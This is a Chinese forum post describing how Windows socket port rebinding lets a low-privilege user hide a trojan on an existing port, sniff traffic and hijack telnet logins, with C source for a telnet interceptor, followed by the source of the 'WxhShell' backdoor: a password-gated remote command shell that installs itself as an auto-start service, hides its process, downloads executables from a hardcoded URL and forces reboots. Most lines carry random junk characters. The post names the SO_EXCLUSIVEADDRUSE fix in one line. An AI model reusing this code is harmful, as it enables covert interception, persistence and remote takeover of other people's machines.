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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ;$eY#ypx  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 7gtaI3   
H~[q<ybxr  
  saddr.sin_family = AF_INET; ~U<j_j)z4.  
#cR5k@  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); aR6~r^jB  
""`z3-  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); qA}l[:F+#  
, wk}[MF  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 dhLd2WSyH  
# wn>S<  
  这意味着什么?意味着可以进行如下的攻击: _WV13pnRu  
G>dXK,f<B0  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 m<Gd 6V5  
s#~VN;-I  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) &IQNsJL!e  
r0z8?  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 B{#Fm6  
h<IAH Cz;(  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  /p-k'387  
%5ov!nm7  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 } %3;j5 ;6  
9 'X"a  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 g9GPy U  
=j_4!^  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Mf5kknYuL9  
m%U=:u7#M  
  #include ({4?RtYm  
  #include s]vsD77&  
  #include &~"N/o  
  #include    *<9M|H~  
  DWORD WINAPI ClientThread(LPVOID lpParam);   h\C1:0x{  
  int main() +MS*YpPW  
  { e{: -N  
  WORD wVersionRequested; - 6q7ze{@  
  DWORD ret; ~H ctXe'x  
  WSADATA wsaData; _J>Ik2EF  
  BOOL val; :>y5'q@R  
  SOCKADDR_IN saddr; 98}l`J=i  
  SOCKADDR_IN scaddr; ~ LH).\V  
  int err; @&h_+|:-  
  SOCKET s; Q{hK+z`D  
  SOCKET sc; &Ai +t2  
  int caddsize; 6_EfOD9  
  HANDLE mt; jJ>I*'w  
  DWORD tid;   NR^Z#BU  
  wVersionRequested = MAKEWORD( 2, 2 ); &sq q+&ao  
  err = WSAStartup( wVersionRequested, &wsaData ); c:DV8'fT  
  if ( err != 0 ) { <95*z @  
  printf("error!WSAStartup failed!\n"); +C$wkx]  
  return -1; ZU:c[`  
  } V" 5rIk  
  saddr.sin_family = AF_INET; 2$Z4 >!  
   ZB}zT9JaE  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 (Q"s;g  
.>5E 4^$%  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ?AQR\)P  
  saddr.sin_port = htons(23); C-2#-{<  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) eET1f8 B=L  
  { 5IG#-Q(6sp  
  printf("error!socket failed!\n"); ]xJ2;{JWsO  
  return -1; K>+c2;t;  
  } >+BLD  
  val = TRUE; BBoVn^Z*R  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 =rNI&K_<  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) &'5 j!  
  { }e1]Ib!  
  printf("error!setsockopt failed!\n"); Oi!uJofW  
  return -1; ^O5PcV3Eg  
  } EU7mP MxJ  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; r-}C !aF]  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 }8'bXG+  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 i/DUB<>p6  
}5gQ dj[Y  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) C It@xi#I  
  { Cp-p7g0wlg  
  ret=GetLastError(); p-8x>dmP(  
  printf("error!bind failed!\n"); {NIE:MXX  
  return -1; ~<_P jV  
  } 2)`4(38  
  listen(s,2); l;JB;0<s"  
  while(1) $T'lWD*  
  { [{-;cpM \  
  caddsize = sizeof(scaddr); K30{Fcb< h  
  //接受连接请求 5 .b U2C  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); r/ LgmVRn  
  if(sc!=INVALID_SOCKET) tw]Q5:6  
  { ^X?3e1om  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); c(S66lp  
  if(mt==NULL) >x1?t  
  { i\P)P!  
  printf("Thread Creat Failed!\n"); rcMSso2  
  break; f,Dj@?3+  
  } z!\)sL/"  
  } &q[`lIV,L  
  CloseHandle(mt); )mXu{uowr  
  } 2G`tS=Un  
  closesocket(s); ~LN {5zg  
  WSACleanup(); AtlUxFX0S  
  return 0; Rp"" &0  
  }   ~d6zpQf7>  
  DWORD WINAPI ClientThread(LPVOID lpParam) y[:xGf]8@  
  {  Hn,;G`{  
  SOCKET ss = (SOCKET)lpParam; w`K=J!5y2g  
  SOCKET sc;  F| O  
  unsigned char buf[4096]; I.}E#f/A'  
  SOCKADDR_IN saddr; eN ]9=Y~-K  
  long num; w'D=K_h  
  DWORD val; Zut"P3d=J  
  DWORD ret; GZqy.AE,  
  //如果是隐藏端口应用的话,可以在此处加一些判断 H(j983  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   0W >,RR)  
  saddr.sin_family = AF_INET; ?,x3*'-(  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); }EWPLJA  
  saddr.sin_port = htons(23); kEM|;&=_  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) uY|-: =  
  { =ET|h}I  
  printf("error!socket failed!\n"); +/~;y{G..z  
  return -1; !@kwHJkv  
  } (\NZ)Ys  
  val = 100; OAZ5I)D>  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) >FM2T<.;  
  { <%]i7&8|  
  ret = GetLastError(); jAb R[QR1%  
  return -1; R<x~KJ11c  
  } pbePxOG  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 4XXuj  
  { u IGeSd5B  
  ret = GetLastError(); .:=G=v=1  
  return -1; rOd~sa-H  
  } +>S\.h s4  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) IX) \z  
  { w0L+Sj db  
  printf("error!socket connect failed!\n"); f^?k?_~PN  
  closesocket(sc); aqzIMOAf  
  closesocket(ss); aaM76;  
  return -1; f& >[$zh  
  } 8!(09gW'>  
  while(1) VsM~$ )  
  { V t@]  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 yd4\%%]  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 z<9wh2*M  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 bs=x>F  
  num = recv(ss,buf,4096,0); v46 5Z  
  if(num>0) [ GqQ6\  
  send(sc,buf,num,0); iSg^np  
  else if(num==0) ^9*kZV<K  
  break; Pwg?a  
  num = recv(sc,buf,4096,0); 0B?t:XU,  
  if(num>0) TmIw?#q^  
  send(ss,buf,num,0); :N ~A7@  
  else if(num==0) L1J~D?q  
  break; %^CoWbU  
  } SV0h'd(b  
  closesocket(ss); B78e*nNS#2  
  closesocket(sc); _)? 59  
  return 0 ; n6]8W^g  
  } !O }^Y  
=9AX\2w*H;  
ic(`Ev  
========================================================== #XPY\n^k  
S)$iHBx{  
下边附上一个代码,,WXhSHELL E\Et,l#|LY  
(6#, $Ze   
========================================================== YZyV   
)eaEc9o>  
#include "stdafx.h" :sL?jGk\  
4V9S~^v|  
#include <stdio.h> 5:sk&0:@U  
#include <string.h> T@)|0M  
#include <windows.h> Qaeg3f3F3  
#include <winsock2.h> .Do(iYO.L  
#include <winsvc.h> T z?0E"yx  
#include <urlmon.h> 70BLd(?  
7uW=fkxT  
#pragma comment (lib, "Ws2_32.lib") +<1MY'>y  
#pragma comment (lib, "urlmon.lib") z t|DHVy  
gONybz6]  
#define MAX_USER   100 // 最大客户端连接数 6z keWR  
#define BUF_SOCK   200 // sock buffer |`,AA a  
#define KEY_BUFF   255 // 输入 buffer -.=:@H}r  
E6zSMl5b  
#define REBOOT     0   // 重启 }lP'bu  
#define SHUTDOWN   1   // 关机 he\ pW5p  
LX2Re ]&  
#define DEF_PORT   5000 // 监听端口 dFVx*{6  
&;wNJ)Uc  
#define REG_LEN     16   // 注册表键长度 ZtLZW/`  
#define SVC_LEN     80   // NT服务名长度 K*[`s'Ip-  
FZ~^cK9g:  
// 从dll定义API P")1_!  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); O-jpS?@  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); a*(,ydF|L  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); O=E?m=FR"  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); *'ffMnSZ  
wX Kg^%t\  
// wxhshell配置信息 k ^(RSu<  
struct WSCFG { d$T856  
  int ws_port;         // 监听端口 3F ]30  
  char ws_passstr[REG_LEN]; // 口令 BDiN*.w5  
  int ws_autoins;       // 安装标记, 1=yes 0=no mo()l8  
  char ws_regname[REG_LEN]; // 注册表键名 /fDXO;tN  
  char ws_svcname[REG_LEN]; // 服务名 f~?4  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ')#!M\1,HQ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 xh`4s  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 nc/F@HCB  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 0wnC"2GUX  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 7Z[6_WD3  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 h51)kN:  
O@-|_N*;K  
}; Sxzt|{  
'74*-yd  
// default Wxhshell configuration *)u%KYGr  
struct WSCFG wscfg={DEF_PORT, H05xt$J  
    "xuhuanlingzhe", %  db  
    1, V3v/h V:  
    "Wxhshell", }2+*E}g  
    "Wxhshell", ;@$v_i   
            "WxhShell Service", ki=]#]rg  
    "Wrsky Windows CmdShell Service",  ;U<}2M!g  
    "Please Input Your Password: ", C=,O'U(ep  
  1, m[8?d~  
  "http://www.wrsky.com/wxhshell.exe", R.P|gk  
  "Wxhshell.exe" q'1 86L87  
    }; /n-!dXi  
o7sIpE9  
// 消息定义模块 - xKa-3  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; gPqdl6#c  
char *msg_ws_prompt="\n\r? for help\n\r#>"; =s/UF_JN  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; >#[,OU}N  
char *msg_ws_ext="\n\rExit."; o/4U`U)Q0v  
char *msg_ws_end="\n\rQuit."; PSREQK@}E  
char *msg_ws_boot="\n\rReboot..."; -?vII~a9y  
char *msg_ws_poff="\n\rShutdown..."; ]Mb:zs<r  
char *msg_ws_down="\n\rSave to "; !&#5 *  
V<ExR@|}.%  
char *msg_ws_err="\n\rErr!"; Gk-49|qIV  
char *msg_ws_ok="\n\rOK!"; VbfTdRD-  
2C[xrZa^  
char ExeFile[MAX_PATH]; o_R_  
int nUser = 0; ffI z>Of:  
HANDLE handles[MAX_USER]; n}L Jt  
int OsIsNt; kxWcWl8  
i)=dp!Bx^  
SERVICE_STATUS       serviceStatus; &MJ cLM]  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; nXM[#~  
D&*'|}RZ  
// 函数声明 khe.+Qfgj  
int Install(void); 1 WUlBr/k  
int Uninstall(void); }!*CyO*  
int DownloadFile(char *sURL, SOCKET wsh); 9:JQ*O$  
int Boot(int flag); CKy/gTN  
void HideProc(void); WWjc.A$  
int GetOsVer(void); v\3$$T)  
int Wxhshell(SOCKET wsl); J7FzOwd1h  
void TalkWithClient(void *cs); f=paa/k0  
int CmdShell(SOCKET sock); KybrSa  
int StartFromService(void); G3${\'<  
int StartWxhshell(LPSTR lpCmdLine); k@}g?X`8  
L=9 ^Y/8Q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); &e)V!o@wJV  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); P&sYS<9q  
B2T=O%  
// 数据结构和表定义 [DD#YL\P  
SERVICE_TABLE_ENTRY DispatchTable[] = 6Ij'z9nJw  
{ AR3v,eOs  
{wscfg.ws_svcname, NTServiceMain}, w42=tN+ B  
{NULL, NULL} wq:"/2p1  
}; EZJ[+ -Q;  
O)%s_/UX  
// 自我安装 >SHP,><H/  
int Install(void) X[J?  
{ vM?jm! nd  
  char svExeFile[MAX_PATH]; <_3OiU= w  
  HKEY key; [ XBVES8  
  strcpy(svExeFile,ExeFile); $A^OP{  
?.Lq`~T`  
// 如果是win9x系统,修改注册表设为自启动 @&9, 0 x  
if(!OsIsNt) { RfQ*`^D  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { TxP8&!d  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _"h1#E  
  RegCloseKey(key); ICD; a  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -jk-ve  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =`E{QCW  
  RegCloseKey(key); }NY! z^  
  return 0; :rSCoi>K  
    } ~%!"!Z4  
  }   |Sr  
} ('1]f?:M  
else { "'*Qq@!3?  
W0k7(v)  
// 如果是NT以上系统,安装为系统服务 m8<.TCIQ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); %`\=qSf*  
if (schSCManager!=0) Wa<SYJ  
{ Lk2;\D>  
  SC_HANDLE schService = CreateService M$Ow*!DfP  
  ( PrvV]#O*  
  schSCManager, i;fU],aK!  
  wscfg.ws_svcname, CZDWEM}   
  wscfg.ws_svcdisp, b^R_8x  
  SERVICE_ALL_ACCESS, =4#p|OZP  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , khVfc  
  SERVICE_AUTO_START, ]PQ6 em  
  SERVICE_ERROR_NORMAL, o}e]W,  
  svExeFile, {]Ec:6  
  NULL, guk{3<d:Jy  
  NULL, R 6 -RH7.  
  NULL, dh V6r  
  NULL, bkS-[rW  
  NULL e/R$Sfj]  
  ); qCy SL lp0  
  if (schService!=0) 8A: =#P^O\  
  { :&J1#% t  
  CloseServiceHandle(schService); ,'%*z  
  CloseServiceHandle(schSCManager); *:"p*qV*  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 4u E|$  
  strcat(svExeFile,wscfg.ws_svcname); iC4rzgq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 0aa&13!5  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); \{. c0  
  RegCloseKey(key); ;4k/h/o1#  
  return 0; 'Esz #@R  
    } q$kx/6=k  
  } F4$9r^21r  
  CloseServiceHandle(schSCManager); 85vyt/.,k  
} 1s-=zs  
} p9[gG\  
.TO#\!KBv  
return 1; e]@ B61lc  
} l0lvca=;  
KZ 4G"  
// 自我卸载 g3TqTs  
int Uninstall(void) uJU;C.LX  
{ TJUYd9O4[  
  HKEY key; PQXCT|iJ  
U*\ 1d  
if(!OsIsNt) { Zp+orc7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Cuc+9  
  RegDeleteValue(key,wscfg.ws_regname); }BAe   
  RegCloseKey(key); #D^( dz*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { VJS1{n=;k  
  RegDeleteValue(key,wscfg.ws_regname); o!zo%#0;#)  
  RegCloseKey(key); DHVfb(H5e  
  return 0; #:8V<rc^  
  } o3Z<tI8-V  
} FL[w\&fp  
} Z b:S IJ  
else { ]%Lk#BA@A  
glZjo  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ld7B{ ?]  
if (schSCManager!=0) k iu#THF  
{ rw%OA4>  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); LCMn9I  
  if (schService!=0) p4@0Dz`Q  
  { ;CDa*(e  
  if(DeleteService(schService)!=0) { LfMN 'Cb  
  CloseServiceHandle(schService); `=E4J2"  
  CloseServiceHandle(schSCManager); Erm]uI9`  
  return 0; { {+:Vy  
  } <G#Q f|&  
  CloseServiceHandle(schService); &H/3@A3  
  } #YK=e&da  
  CloseServiceHandle(schSCManager); z'}z4^35,  
} vu3zZMl  
} emG1Wyl  
o$Z]qhq  
return 1; O +Xu ?W]  
} |`O210B@  
EO\- J-nM  
// 从指定url下载文件 & sgzSX  
int DownloadFile(char *sURL, SOCKET wsh) QJ,~K&?  
{ ?'U@oz8 B  
  HRESULT hr; y6&o+;I$[  
char seps[]= "/"; gM&4Ur  
char *token; ?3do-tTp  
char *file; Vkl]&mYRz  
char myURL[MAX_PATH]; n!L}4Nmp  
char myFILE[MAX_PATH]; @wh-.M D  
1 }_"2  
strcpy(myURL,sURL); 9,$ n 6t;  
  token=strtok(myURL,seps); y-_IMu.J`  
  while(token!=NULL) 4YA1~7R  
  { K}QZdN']  
    file=token; @gi / 1cq  
  token=strtok(NULL,seps); E+P-)bRa  
  } ^]9.$$GU\A  
95*=& d  
GetCurrentDirectory(MAX_PATH,myFILE); 7upN:7D-  
strcat(myFILE, "\\"); `FByME  
strcat(myFILE, file); sM@1Qyv&0  
  send(wsh,myFILE,strlen(myFILE),0); c.uD%  
send(wsh,"...",3,0); xd!GRJ<I  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 7o9[cq w  
  if(hr==S_OK) m 3Do+!M[  
return 0; ese?;1r  
else 1WAps#b.  
return 1; MZ_dI"J ,  
d[sY]_ dj  
} k#x"'yZ  
O7yIFqI=/  
// 系统电源模块 in2m/q?  
int Boot(int flag) DYTC2  
{ <1E5[9 q  
  HANDLE hToken; _@O.EksY3r  
  TOKEN_PRIVILEGES tkp; 90">l^HX=  
\'+P5,  
  if(OsIsNt) { r[3 2'E  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Iy@6cd,)S  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); )@6iQ  
    tkp.PrivilegeCount = 1; w5q'M  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; FLQ>,=O  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 4^k+wQU  
if(flag==REBOOT) { a>eg H og  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) )b-KF}]d  
  return 0; gCaxZ~o  
} ~y1k2n  
else { ?:#$btmn?  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) M8|kmF\B  
  return 0; 6o~CX  
} a[RqK#  
  } A:V/i:IZfR  
  else { -qpe;=g&f  
if(flag==REBOOT) { .<Jq8J  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) trlZ  
  return 0; Cg]S`R-  
} v(^;%  
else { &W N R{  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) iM~qSRb#mJ  
  return 0; #yOn /  
} f&? 8fB8{  
} Gy!bPVe  
h/7_IuD  
return 1; a4eE/1  
} ) -@Dh6F  
#g]eDU-[  
// win9x进程隐藏模块  Qo+Y  
void HideProc(void) wcW}Sv[r  
{ ] jycg@=B  
vzZ"TSP  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 6IKi*}  
  if ( hKernel != NULL ) I~25}(IDZ"  
  { ]GXE2A_i;  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); r-5xo.J'  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); _Q}vPSJviC  
    FreeLibrary(hKernel); #fxdZm,  
  } i"#zb&~nF  
k];fQ7}m<0  
return; (ljoD[kZ  
} /\5u-o)  
D "X`qF6U7  
// 获取操作系统版本 Y {2L[5_1  
int GetOsVer(void) % r0AhWv  
{ eKL3Y_5p@  
  OSVERSIONINFO winfo; )`}4rD^b  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); }c'T]h\S  
  GetVersionEx(&winfo); zX&wfE8T  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 8:jakOeT  
  return 1; 1p(9hVA  
  else lA,*]Mr~  
  return 0; _tfi6UQ&lY  
} sF1j4 NC  
>{=~''d,w  
// 客户端句柄模块 %^bN^Sq -  
int Wxhshell(SOCKET wsl) F,JqHa9  
{ t8t+wi!  
  SOCKET wsh;  o*xft6U  
  struct sockaddr_in client; -\M;bQV[C  
  DWORD myID; idNg&'   
Ui }%T]  
  while(nUser<MAX_USER) R9InUX"k  
{ hvF>Tu]^r  
  int nSize=sizeof(client); dA$qzQ  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); K"VRHIhfg  
  if(wsh==INVALID_SOCKET) return 1; |%fM*F^7/  
6='x}Qb\H  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); =VF%Z[Gm  
if(handles[nUser]==0) \(ju0qFqH  
  closesocket(wsh); 9^^:Y3j  
else ihopQb+k^m  
  nUser++; z:JJ>mxV  
  } SHN'$f0Mb  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); }&LLo  
I5w> *F   
  return 0; R<e ~Cb-  
} >?GCH(eW%  
|:5[`  
// 关闭 socket O8 5)^  
void CloseIt(SOCKET wsh) Y$ '6p."=  
{ o7v,:e:  
closesocket(wsh); 9oxn-)6JC  
nUser--; qp2&Z8S\D  
ExitThread(0); Vnnl~|Xx  
} O 718s\#  
w>6 cc#>q  
// 客户端请求句柄 q 1+{MPJ  
void TalkWithClient(void *cs) 4_h?E:sBb  
{ [,ZHn$\  
5VGr<i&A  
  SOCKET wsh=(SOCKET)cs; `_>44!M  
  char pwd[SVC_LEN]; ^"EK:|Y4%K  
  char cmd[KEY_BUFF]; yn.f?[G2  
char chr[1]; <{1=4PA  
int i,j; Pe?b# G  
X&cm)o%5Fe  
  while (nUser < MAX_USER) { g)^g_4  
M]A!jWtE  
if(wscfg.ws_passstr) { YCo qe,5  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }Z8DVTpX}  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); GA2kg7  
  //ZeroMemory(pwd,KEY_BUFF); H]Vo XJ\*  
      i=0; 0Y9fK? (  
  while(i<SVC_LEN) { +cC$4t0$^A  
P6u%-#  
  // 设置超时 rjL4t^rT  
  fd_set FdRead; |M(0CYO  
  struct timeval TimeOut; 0v'!(&m  
  FD_ZERO(&FdRead); wZKEUJpQ  
  FD_SET(wsh,&FdRead); 8U7X/L  
  TimeOut.tv_sec=8; qBqh>Wo  
  TimeOut.tv_usec=0; @Jr@ fF}  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ?a'P;&@7  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); #]lK!:  
XJZS}Z7h  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~a` vk@8  
  pwd=chr[0]; ]?(_}""1  
  if(chr[0]==0xd || chr[0]==0xa) { YQ7tZl;:t  
  pwd=0; Rge\8H/z  
  break; QZamf lk  
  } R![4|FR  
  i++; |RZI]H%  
    } =;y(b~  
_4~q&? }V  
  // 如果是非法用户,关闭 socket C vWt  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 0p1~!X=I  
} Fps:6~gD  
i[m-&   
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); }g_\?z3gt  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); i=X B0-  
::2(pgH  
while(1) { \wxLt}T-Q  
-9^A,vX  
  ZeroMemory(cmd,KEY_BUFF); @V qI+5TA  
#qg(DgH 7  
      // 自动支持客户端 telnet标准   b]@@x;v$@  
  j=0; ]6z ; M;F`  
  while(j<KEY_BUFF) { ~oE@y6Q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^4[|&E:  
  cmd[j]=chr[0]; v7G&`4~  
  if(chr[0]==0xa || chr[0]==0xd) { 2*}qQ0J  
  cmd[j]=0; lbiMB~rwI  
  break; y(*#0fJrTV  
  } .yb=I6D;<3  
  j++; Kld#C51X f  
    } S F&EVRv  
d2 (3 ,  
  // 下载文件 L5A?9zum/!  
  if(strstr(cmd,"http://")) { \I #}R4z  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); W;!)Sj4<T!  
  if(DownloadFile(cmd,wsh)) T9&bY>f?  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]]8^j='P'  
  else ##|]el%Y  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j xTYW)E   
  } {q|Om?@  
  else { J:oAzBFpA  
a474[?  
    switch(cmd[0]) { ,'>O#kD  
  eGQ -Ht,N  
  // 帮助 B:=VMX~GE  
  case '?': { Ff{dOV.i  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); _"G./X  
    break; U['|t<^uf  
  } hLF;MH@  
  // 安装 B):hm  
  case 'i': { {`=k$1  
    if(Install()) D) ;w)`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J3,m{%EtNM  
    else &~sirxR p  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !nt[J$.z^  
    break; 40Hm+Ge  
    } i4H,Ggb  
  // 卸载 V3q[#.o  
  case 'r': { feG#*m2g  
    if(Uninstall()) C] >?YR4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %#iu  
    else %)p?&_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); SCo;Ek  
    break; (.N!(;G  
    } 8KHT"uc'*J  
  // 显示 wxhshell 所在路径 aYws{Vii  
  case 'p': { @t4OpU<'*b  
    char svExeFile[MAX_PATH]; C9L_`[9DO  
    strcpy(svExeFile,"\n\r"); !i5~>p|4@  
      strcat(svExeFile,ExeFile); MyaJhA6c  
        send(wsh,svExeFile,strlen(svExeFile),0); V3c7F4\  
    break; OS sYmF  
    } j-TRa,4bN  
  // 重启 p}K.-S`MQ  
  case 'b': { oxXCf%!  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); R(on[g_1  
    if(Boot(REBOOT)) ,f^ ICM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rWNywxnT  
    else { osZ] R  
    closesocket(wsh); Lf+"Gp  
    ExitThread(0); B\Uocn  
    } lL"ANlX-P  
    break; ki'CW4x  
    } !8OgaMngzF  
  // 关机 -~v1@  
  case 'd': { &AP`k  
